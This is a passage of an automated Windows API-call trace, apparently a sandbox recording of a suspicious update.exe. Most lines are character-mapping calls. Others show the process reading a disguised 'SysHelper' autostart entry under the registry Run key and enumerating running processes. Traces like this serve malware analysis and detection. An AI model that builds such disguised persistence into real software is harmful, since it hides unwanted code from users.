!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0124.628] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f804 | out: lpCharType=0x18f804) returned 1 [0124.628] GetLastError () returned 0x0 [0124.628] SetLastError (dwErrCode=0x0) [0124.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0124.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0124.628] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0124.628] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f328, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0124.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x86", lpUsedDefaultChar=0x0) returned 256 [0124.628] GetLastError () returned 0x0 [0124.628] SetLastError (dwErrCode=0x0) [0124.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0124.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f558, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0124.628] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0124.628] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18f348, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0124.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x86", lpUsedDefaultChar=0x0) returned 256 [0124.629] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0124.629] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c0db) returned 0x40972f [0124.631] GetCurrentProcess () returned 0xffffffff [0124.631] GetLastError () returned 0x0 [0124.631] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0124.632] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x189f9c | out: phkResult=0x189f9c*=0xbc) returned 0x0 [0124.633] RegQueryValueExW (in: hKey=0xbc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x189f90, lpData=0x18b070, lpcbData=0x189fb8*=0x400 | out: lpType=0x189f90*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", lpcbData=0x189fb8*=0xd4) returned 0x0 [0124.633] RegCloseKey (hKey=0xbc) returned 0x0 [0124.633] lstrlenA (lpString="\" --AutoStart") returned 13 [0124.633] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 1 [0124.633] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0124.634] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x6dd578*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0124.634] lstrcpyW (in: lpString1=0x18f598, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0124.635] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0124.635] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", pNumArgs=0x18d064 | out: pNumArgs=0x18d064) returned 0x6dd578*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0124.635] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="update.exe" [0124.635] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x773e0000 [0124.635] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcesses") returned 0x0 [0124.635] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcessModules") returned 0x0 [0124.635] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0124.635] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x770c0000 [0124.640] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcesses") returned 0x770c1544 [0124.640] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcessModules") returned 0x770c1408 [0124.640] GetProcAddress (hModule=0x770c0000, lpProcName="GetModuleBaseNameW") returned 0x770c152c [0124.640] EnumProcesses (in: lpidProcess=0x182860, cb=0xa000, lpcbNeeded=0x18d070 | out: lpidProcess=0x182860, lpcbNeeded=0x18d070) returned 1 [0124.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0124.642] CloseHandle (hObject=0x0) returned 0 [0124.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0124.642] CloseHandle (hObject=0x0) returned 0 [0124.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0124.642] CloseHandle (hObject=0x0) returned 0 [0124.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0124.642] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0124.643] CloseHandle (hObject=0x0) returned 0 [0124.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0124.644] CloseHandle (hObject=0x0) returned 0 [0124.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0124.644] CloseHandle (hObject=0x0) returned 0 [0124.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0124.644] CloseHandle (hObject=0x0) returned 0 [0124.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x30c) returned 0xbc [0124.644] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0124.644] CloseHandle (hObject=0xbc) returned 1 [0124.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xbc [0124.644] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0124.644] CloseHandle (hObject=0xbc) returned 1 [0124.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0xbc [0124.644] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0124.644] 